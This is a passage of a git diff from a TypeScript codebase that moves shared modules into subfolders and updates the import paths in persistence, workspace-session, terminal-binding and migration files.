b/src/main/persistence/loading-store/profile-writing/profile-state-settings-writes.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState } from '../../../../shared/constants' +import { getDefaultPersistedState } from '../../../../shared/orca-profiles/constants' import { setSecretStore } from '../../../../shared/secure-storage/secret-store' import { buildProfileStateCutoverFixture } from '../../profile-state-cutover-fixture' import { openProfileStateDatabaseReadOnly } from '../../profile-state/database/profile-state-database' diff --git a/src/main/persistence/loading-store/profile-writing/state-serialization-secret-handling.ts b/src/main/persistence/loading-store/profile-writing/state-serialization-secret-handling.ts index a75cbecedd2..4c38fb581b5 100644 --- a/src/main/persistence/loading-store/profile-writing/state-serialization-secret-handling.ts +++ b/src/main/persistence/loading-store/profile-writing/state-serialization-secret-handling.ts @@ -4,7 +4,7 @@ import { } from './profile-state-authority-writes' import type { ProfileStateDomainReplacement } from './profile-state-authority' import { randomUUID } from 'node:crypto' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { collectFolderWorkspaceDiffComments } from '../../../workspaces/catalog/folder-workspace-diff-comments' import { PROTECTED_SECRET_SLOT, diff --git a/src/main/persistence/loading-store/profile-writing/write-scheduling.ts b/src/main/persistence/loading-store/profile-writing/write-scheduling.ts index b84d03bcbf5..7f4345b99ec 100644 --- a/src/main/persistence/loading-store/profile-writing/write-scheduling.ts +++ b/src/main/persistence/loading-store/profile-writing/write-scheduling.ts @@ -1,7 +1,7 @@ import type { StoreRuntimeState } from '../store-runtime-state' import type { PrimaryStateWriteOperations } from './primary-state-writes' import { enqueueWrite } from './primary-state-writes' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { notifyWorkspaceSessionWritten, type WorkspaceSessionOperationListener, diff --git a/src/main/persistence/loading-store/project-catalog/repo-lifecycle-operations.ts b/src/main/persistence/loading-store/project-catalog/repo-lifecycle-operations.ts index 60049f17495..1a94d69eebe 100644 --- a/src/main/persistence/loading-store/project-catalog/repo-lifecycle-operations.ts +++ b/src/main/persistence/loading-store/project-catalog/repo-lifecycle-operations.ts @@ -14,7 +14,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { applyProjectHostSetupCompatibilityState } from '../../tracking-repos/project-host-compatibility' import { RepoOrderPersistenceOperations } from '../../tracking-repos/repo-order-operations' import { pruneWorktreeStateForRepo as pruneWorktreeStateForRepoOperation } from '../../tracking-repos/repo-worktree-pruning' diff --git a/src/main/persistence/loading-store/project-catalog/repo-lifecycle-ui-residue.ts b/src/main/persistence/loading-store/project-catalog/repo-lifecycle-ui-residue.ts index dff778ec415..2ffe7d58247 100644 --- a/src/main/persistence/loading-store/project-catalog/repo-lifecycle-ui-residue.ts +++ b/src/main/persistence/loading-store/project-catalog/repo-lifecycle-ui-residue.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' export function pruneDeregisteredRepoUiResidue( diff --git a/src/main/persistence/loading-store/store-runtime-state.ts b/src/main/persistence/loading-store/store-runtime-state.ts index 867330af29b..8589a75bb29 100644 --- a/src/main/persistence/loading-store/store-runtime-state.ts +++ b/src/main/persistence/loading-store/store-runtime-state.ts @@ -1,12 +1,12 @@ import { randomUUID } from 'node:crypto' import { removeStaleDurableWriteTempFiles } from '../../filesystem/durable-file-write' -import type { GlobalSettings } from '../../../shared/global-settings-types' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionOperationListener, WorkspaceSessionWriteListener } from './workspace-sessions/workspace-session-write-listeners' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { StateWriteListener, WorktreeMetaWriteListener diff --git a/src/main/persistence/loading-store/store.ts b/src/main/persistence/loading-store/store.ts index 1bbe507c83b..57f71541cd9 100644 --- a/src/main/persistence/loading-store/store.ts +++ b/src/main/persistence/loading-store/store.ts @@ -16,7 +16,7 @@ import { type StoreDomains, type StoreDomainOperations } from './store-domain-composition' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/workspace-layout/layout-owner-switch' import { dropInvalidWorkspaceLayoutsAtLoad } from '../restoring-sessions/invalid-workspace-layout-purge' import { diff --git a/src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts b/src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts index 86e4ce73394..26b7729f5fb 100644 --- a/src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts +++ b/src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts @@ -8,7 +8,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { makeTerminalTab, TEST_LEAF_1, TEST_LEAF_2 } from '../../persistence-session-fixtures' diff --git a/src/main/persistence/loading-store/terminal-bindings/persistence-split-pane-incarnation.test.ts b/src/main/persistence/loading-store/terminal-bindings/persistence-split-pane-incarnation.test.ts index 56c848a5617..1e634c21b7e 100644 --- a/src/main/persistence/loading-store/terminal-bindings/persistence-split-pane-incarnation.test.ts +++ b/src/main/persistence/loading-store/terminal-bindings/persistence-split-pane-incarnation.test.ts @@ -5,7 +5,7 @@ import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' import { ProfileStateSqliteAuthority } from '../../profile-state/profile-state-sqlite-authority' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { makeTerminalTab, TEST_LEAF_1, TEST_LEAF_2 } from '../../persistence-session-fixtures' diff --git a/src/main/persistence/loading-store/terminal-bindings/pty-binding-durability-only.ts b/src/main/persistence/loading-store/terminal-bindings/pty-binding-durability-only.ts index 7557f8b9061..dccd25af3ec 100644 --- a/src/main/persistence/loading-store/terminal-bindings/pty-binding-durability-only.ts +++ b/src/main/persistence/loading-store/terminal-bindings/pty-binding-durability-only.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { PtyBindingFastLaneVerdict } from './pty-binding-fast-lane' // No-op rollback still triggers writer-owned failure publication for a matching binding. diff --git a/src/main/persistence/loading-store/terminal-bindings/pty-binding-generations.ts b/src/main/persistence/loading-store/terminal-bindings/pty-binding-generations.ts index 90c308daa14..db787017c07 100644 --- a/src/main/persistence/loading-store/terminal-bindings/pty-binding-generations.ts +++ b/src/main/persistence/loading-store/terminal-bindings/pty-binding-generations.ts @@ -1,6 +1,6 @@ // In-memory generations advance on bind, retirement or rollback, including same-ID respawns; moves/removals do not. -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { StoreRuntimeState } from '../store-runtime-state' diff --git a/src/main/persistence/loading-store/terminal-bindings/pty-binding-persistence.ts b/src/main/persistence/loading-store/terminal-bindings/pty-binding-persistence.ts index e11a0b98c5d..0cba0862613 100644 --- a/src/main/persistence/loading-store/terminal-bindings/pty-binding-persistence.ts +++ b/src/main/persistence/loading-store/terminal-bindings/pty-binding-persistence.ts @@ -1,4 +1,5 @@ -import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../../shared/execution-host' +// oxfmt-ignore +import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { rollbackFailedPtyBinding } from './pty-binding-write-rollback' diff --git a/src/main/persistence/loading-store/terminal-bindings/pty-binding-span.ts b/src/main/persistence/loading-store/terminal-bindings/pty-binding-span.ts index 89325a8ad30..bcd46d768e8 100644 --- a/src/main/persistence/loading-store/terminal-bindings/pty-binding-span.ts +++ b/src/main/persistence/loading-store/terminal-bindings/pty-binding-span.ts @@ -8,7 +8,7 @@ import { findTerminalBindingConflict, type TerminalOwnerConflictReason } from '../../../../shared/workspace-layout/terminal-topology/terminal-owner-invariants' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { TerminalPanePlacement } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-placement' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/persistence/loading-store/terminal-bindings/pty-retirement-async-durability.spec.ts b/src/main/persistence/loading-store/terminal-bindings/pty-retirement-async-durability.spec.ts index e826a6723d3..a35220ae7b2 100644 --- a/src/main/persistence/loading-store/terminal-bindings/pty-retirement-async-durability.spec.ts +++ b/src/main/persistence/loading-store/terminal-bindings/pty-retirement-async-durability.spec.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { retirePersistedStablePaneOwner } from '../../../ipc/pty/pane/stable-owner' import { TEST_LEAF_1 } from '../../persistence-session-fixtures' import { retireTerminalSurfaceFromPersistence } from '../../../runtime/terminal/surface/mobile-session-terminal-persistence-retirement' diff --git a/src/main/persistence/loading-store/terminal-bindings/reused-terminal-id-unbind.test.ts b/src/main/persistence/loading-store/terminal-bindings/reused-terminal-id-unbind.test.ts index b3eb9e32293..aedda4e03a3 100644 --- a/src/main/persistence/loading-store/terminal-bindings/reused-terminal-id-unbind.test.ts +++ b/src/main/persistence/loading-store/terminal-bindings/reused-terminal-id-unbind.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' const switchState = vi.hoisted(() => ({ on: true })) diff --git a/src/main/persistence/loading-store/workspace-lineage/cross-store-lineage-persistence.ts b/src/main/persistence/loading-store/workspace-lineage/cross-store-lineage-persistence.ts index 32b261832c3..7e461580980 100644 --- a/src/main/persistence/loading-store/workspace-lineage/cross-store-lineage-persistence.ts +++ b/src/main/persistence/loading-store/workspace-lineage/cross-store-lineage-persistence.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { WORKSPACE_LINEAGE_DOMAINS } from '../../profile-save-domains' import type { WorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import type { CrossStoreWorkspaceLineage } from '../../../../shared/worktree/lineage-types' diff --git a/src/main/persistence/loading-store/workspace-lineage/metadata-lineage-operations.ts b/src/main/persistence/loading-store/workspace-lineage/metadata-lineage-operations.ts index 147f2650cc2..1812bd04b60 100644 --- a/src/main/persistence/loading-store/workspace-lineage/metadata-lineage-operations.ts +++ b/src/main/persistence/loading-store/workspace-lineage/metadata-lineage-operations.ts @@ -5,7 +5,7 @@ import type { WorkspaceLineage, WorktreeLineage } from '../../../../shared/workt import { toWorkspaceLineageRow } from '../../../../shared/worktree/lineage/worktree-lineage-workspace-row' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import type { Repo } from '../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { HostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import { hasWorktreeRemovalRepoOwnerOnOtherHost } from '../../../workspaces/removal/worktree-removal-repo-owner' diff --git a/src/main/persistence/loading-store/workspace-sessions/layout-editor-views.ts b/src/main/persistence/loading-store/workspace-sessions/layout-editor-views.ts index a2043197556..daf5b272fcb 100644 --- a/src/main/persistence/loading-store/workspace-sessions/layout-editor-views.ts +++ b/src/main/persistence/loading-store/workspace-sessions/layout-editor-views.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { LayoutEditorView } from '../../../../shared/workspace-layout/editor-tabs/layout-editor-view' import type { WorkspaceLayoutModel } from '../../../../shared/workspace-layout/workspace-layout-model' diff --git a/src/main/persistence/loading-store/workspace-sessions/runtime-partition-topology-fence.ts b/src/main/persistence/loading-store/workspace-sessions/runtime-partition-topology-fence.ts index fdedb7146a8..bee4d2fdcab 100644 --- a/src/main/persistence/loading-store/workspace-sessions/runtime-partition-topology-fence.ts +++ b/src/main/persistence/loading-store/workspace-sessions/runtime-partition-topology-fence.ts @@ -1,6 +1,9 @@ // Runtime partitions mirror a paired server, so main's per-repo topology fence must not outlive the // race it guards: the window never echoes revisions, and a permanent fence froze its membership. -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import type { StoreRuntimeState } from '../store-runtime-state' diff --git a/src/main/persistence/loading-store/workspace-sessions/session-host-partitions.ts b/src/main/persistence/loading-store/workspace-sessions/session-host-partitions.ts index bf3e58ece6c..1f79397ae0a 100644 --- a/src/main/persistence/loading-store/workspace-sessions/session-host-partitions.ts +++ b/src/main/persistence/loading-store/workspace-sessions/session-host-partitions.ts @@ -1,14 +1,14 @@ import { orderTerminalRowsByTabGroups } from '../../../../shared/workspace-layout/terminal-topology/terminal-row-order' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { sanitizeWorkspaceSessionTerminalRetirements } from '../../../runtime/terminal/surface/mobile-session-terminal-persistence-retirement' import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { HostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { pruneLocalTerminalScrollbackBuffers } from '../../../../shared/workspace-session/workspace-session-terminal-buffers' import { pruneWorkspaceSessionBrowserHistory } from '../../../../shared/workspace-session/workspace-session-browser-history' import { withoutRedundantGlobalFields } from '../../../../shared/workspace-session/workspace-session-host-field-ownership' diff --git a/src/main/persistence/loading-store/workspace-sessions/session-snapshot-operations.ts b/src/main/persistence/loading-store/workspace-sessions/session-snapshot-operations.ts index 4b9be5cba5a..dce0dbef4a8 100644 --- a/src/main/persistence/loading-store/workspace-sessions/session-snapshot-operations.ts +++ b/src/main/persistence/loading-store/workspace-sessions/session-snapshot-operations.ts @@ -1,9 +1,12 @@ -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionPatch, WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { pruneWorkspaceSessionBrowserHistory } from '../../../../shared/workspace-session/workspace-session-browser-history' import { workspaceSessionPatchNeedsFullNormalization } from './terminal-session-cleanup' diff --git a/src/main/persistence/loading-store/workspace-sessions/store-host-partition-before-unload.test.ts b/src/main/persistence/loading-store/workspace-sessions/store-host-partition-before-unload.test.ts index bf8a8edac79..c6568ca7da9 100644 --- a/src/main/persistence/loading-store/workspace-sessions/store-host-partition-before-unload.test.ts +++ b/src/main/persistence/loading-store/workspace-sessions/store-host-partition-before-unload.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { closeTestStores, createSqliteTestStore } from '../../persistence-test-harness' import { makeTerminalTab } from '../../persistence-session-fixtures' diff --git a/src/main/persistence/loading-store/workspace-sessions/workspace-session-partitions.ts b/src/main/persistence/loading-store/workspace-sessions/workspace-session-partitions.ts index 4edd3533cc4..ebc65a5d70e 100644 --- a/src/main/persistence/loading-store/workspace-sessions/workspace-session-partitions.ts +++ b/src/main/persistence/loading-store/workspace-sessions/workspace-session-partitions.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { parseWorkspaceSessionSalvaging } from '../../../../shared/workspace-session/workspace-session-salvage' import { withoutRedundantGlobalFields } from '../../../../shared/workspace-session/workspace-session-host-field-ownership' diff --git a/src/main/persistence/loading-store/workspace-sessions/workspace-session-snapshot-publication.ts b/src/main/persistence/loading-store/workspace-sessions/workspace-session-snapshot-publication.ts index e14007f1878..0b9875c52e6 100644 --- a/src/main/persistence/loading-store/workspace-sessions/workspace-session-snapshot-publication.ts +++ b/src/main/persistence/loading-store/workspace-sessions/workspace-session-snapshot-publication.ts @@ -1,8 +1,11 @@ -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { WORKSPACE_SESSION_DOMAINS } from '../../workspace-session-domains' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { sanitizeWorkspaceSessionTerminalRetirements } from '../../../runtime/terminal/surface/mobile-session-terminal-persistence-retirement' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { setMigrationUnsupportedPty } from '../../../agent-hooks/observations/migration-unsupported-pty-state' import { pruneLocalTerminalScrollbackBuffers } from '../../../../shared/workspace-session/workspace-session-terminal-buffers' import { pruneWorkspaceSessionBrowserHistory } from '../../../../shared/workspace-session/workspace-session-browser-history' diff --git a/src/main/persistence/loading-store/workspace-sessions/workspace-session-terminal-binding-replay.ts b/src/main/persistence/loading-store/workspace-sessions/workspace-session-terminal-binding-replay.ts index 0c0862902e4..3b08bb393f2 100644 --- a/src/main/persistence/loading-store/workspace-sessions/workspace-session-terminal-binding-replay.ts +++ b/src/main/persistence/loading-store/workspace-sessions/workspace-session-terminal-binding-replay.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../shared/terminal/pty/lifecycle/terminal-execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { preserveMissingLeafRecordEntries } from '../../restoring-sessions/terminal-layout-normalization' diff --git a/src/main/persistence/loading-store/workspace-sessions/workspace-session-write-listeners.ts b/src/main/persistence/loading-store/workspace-sessions/workspace-session-write-listeners.ts index 575a36e4e1d..5347095ac16 100644 --- a/src/main/persistence/loading-store/workspace-sessions/workspace-session-write-listeners.ts +++ b/src/main/persistence/loading-store/workspace-sessions/workspace-session-write-listeners.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { StoreRuntimeState } from '../store-runtime-state' import { refileEditorViews } from './layout-editor-views' diff --git a/src/main/persistence/loading-store/worktree-metadata/local-only-worktree-meta-rehoming.ts b/src/main/persistence/loading-store/worktree-metadata/local-only-worktree-meta-rehoming.ts index bfee31333f8..d3261b4490d 100644 --- a/src/main/persistence/loading-store/worktree-metadata/local-only-worktree-meta-rehoming.ts +++ b/src/main/persistence/loading-store/worktree-metadata/local-only-worktree-meta-rehoming.ts @@ -1,6 +1,6 @@ import { randomUUID } from 'node:crypto' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import { canonicalWorktreeIdentity } from '../../../../shared/worktree/identity' import { diff --git a/src/main/persistence/loading-store/worktree-metadata/worktree-identity-metadata.ts b/src/main/persistence/loading-store/worktree-metadata/worktree-identity-metadata.ts index 24ae350d2d3..9a32f8f702a 100644 --- a/src/main/persistence/loading-store/worktree-metadata/worktree-identity-metadata.ts +++ b/src/main/persistence/loading-store/worktree-metadata/worktree-identity-metadata.ts @@ -2,14 +2,17 @@ import type { WorkspaceAttachmentMutation } from '../../../../shared/workspace-a import type { DiffCommentBaseMutation } from '../../../../shared/file-review/diff-comment-mutation' import { randomUUID } from 'node:crypto' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { canonicalWorktreeIdentity } from '../../../../shared/worktree/identity' import { composeWorktreeHostIdentity, getExecutionHostIdFromWorktreeHostIdentity, getWorktreeIdFromHostIdentity } from '../../../../shared/worktree/host-qualified-identity' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { StoreRuntimeState } from '../store-runtime-state' import { type WriteSchedulingOperations, scheduleSave } from '../profile-writing/write-scheduling' diff --git a/src/main/persistence/loading-store/worktree-metadata/worktree-meta-alias-projection.ts b/src/main/persistence/loading-store/worktree-metadata/worktree-meta-alias-projection.ts index b5b3940991a..2e18e00b347 100644 --- a/src/main/persistence/loading-store/worktree-metadata/worktree-meta-alias-projection.ts +++ b/src/main/persistence/loading-store/worktree-metadata/worktree-meta-alias-projection.ts @@ -1,6 +1,6 @@ // Omit only identities their complete locator rows regenerate; older builds can remint the same keys on downgrade. import { isDeepStrictEqual } from 'node:util' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import { canonicalWorktreeIdentity } from '../../../../shared/worktree/identity' import { diff --git a/src/main/persistence/loading-store/worktree-metadata/worktree-meta-write-normalization.ts b/src/main/persistence/loading-store/worktree-metadata/worktree-meta-write-normalization.ts index 996c5608d4a..6de0a581a13 100644 --- a/src/main/persistence/loading-store/worktree-metadata/worktree-meta-write-normalization.ts +++ b/src/main/persistence/loading-store/worktree-metadata/worktree-meta-write-normalization.ts @@ -1,5 +1,5 @@ import { randomUUID } from 'node:crypto' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { normalizeStoredTaskSourceContext } from '../../../../shared/work-items/task-source-context' import { normalizeWorkspaceLinkedItem } from '../../../../shared/workspace-attachments/workspace-linked-item' import { isWorkspaceLinkedItemSourceContextMatch } from '../../../../shared/workspace-attachments/workspace-linked-item-source-context' diff --git a/src/main/persistence/migrating-orcad-catalog/blob-transfer/orcad-migration-blob-install-persistence.ts b/src/main/persistence/migrating-orcad-catalog/blob-transfer/orcad-migration-blob-install-persistence.ts index 563d0262e68..0dd4183e193 100644 --- a/src/main/persistence/migrating-orcad-catalog/blob-transfer/orcad-migration-blob-install-persistence.ts +++ b/src/main/persistence/migrating-orcad-catalog/blob-transfer/orcad-migration-blob-install-persistence.ts @@ -1,6 +1,6 @@ import { ORCAD_MIGRATION_BLOB_KIND_CONTRACTS } from '../../../../shared/orcad-migration/orcad-migration-blob-transfer' import type { OrcadMigrationManifest } from '../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { getDaemonHistoryDir } from '../../../daemon/launch/daemon-launch-paths' import { getHistoryRoot } from '../../../pty/history/terminal-history-paths' diff --git a/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-receipt-ledger.ts b/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-receipt-ledger.ts index 1a09730f356..bbf1f16af91 100644 --- a/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-receipt-ledger.ts +++ b/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-receipt-ledger.ts @@ -5,7 +5,7 @@ import type { OrcadMigrationManifest } from '../../../../shared/orcad-migration/orcad-migration-manifest' import { MAX_ORCAD_MIGRATION_EVICTED_RECEIPTS } from '../../../../shared/orcad-migration/orcad-migration-evicted-receipts' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { StoreRuntimeState } from '../../loading-store/store-runtime-state' import { orcadMigrationStagingKey, diff --git a/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-records.ts b/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-records.ts index e084e59f563..db4af269cdd 100644 --- a/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-records.ts +++ b/src/main/persistence/migrating-orcad-catalog/catalog-commit/orcad-catalog-records.ts @@ -7,7 +7,7 @@ import { import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' -import { isRepoOnCatalogHost } from '../../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../../shared/execution-host/execution-host' import { assertOrcadMigrationStagedCatalogClaims } from './orcad-staged-catalog-claims' import { toOrcadDestinationFolderWorkspace, diff --git a/src/main/persistence/migrating-orcad-catalog/catalog-commit/persistence-orcad-migration-catalog-fixture.ts b/src/main/persistence/migrating-orcad-catalog/catalog-commit/persistence-orcad-migration-catalog-fixture.ts index d0654a7002a..5ba62b84281 100644 --- a/src/main/persistence/migrating-orcad-catalog/catalog-commit/persistence-orcad-migration-catalog-fixture.ts +++ b/src/main/persistence/migrating-orcad-catalog/catalog-commit/persistence-orcad-migration-catalog-fixture.ts @@ -8,7 +8,7 @@ import type { } from '../../../../shared/orcad-migration/orcad-migration-manifest' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { worktreeWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { computeOrcadMigrationManifestSha256 } from '../../../orcad/migration/orcad-migration-manifest-digest' diff --git a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-automation-state.ts b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-automation-state.ts index 0d83e901e27..f335fe17908 100644 --- a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-automation-state.ts +++ b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-automation-state.ts @@ -5,7 +5,7 @@ import { type AutomationRun } from '../../../../shared/automations/history/automation-run' import type { Automation } from '../../../../shared/automations/automation-definition' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { selectNewRows } from '../catalog-commit/orcad-catalog-row-identity' export type PreparedOrcadMigrationAutomationState = { diff --git a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-client-state.ts b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-client-state.ts index cc55a613224..01cbefe9e71 100644 --- a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-client-state.ts +++ b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-client-state.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { OrcadMigrationClientStatePayload, OrcadMigrationUiRoutingState diff --git 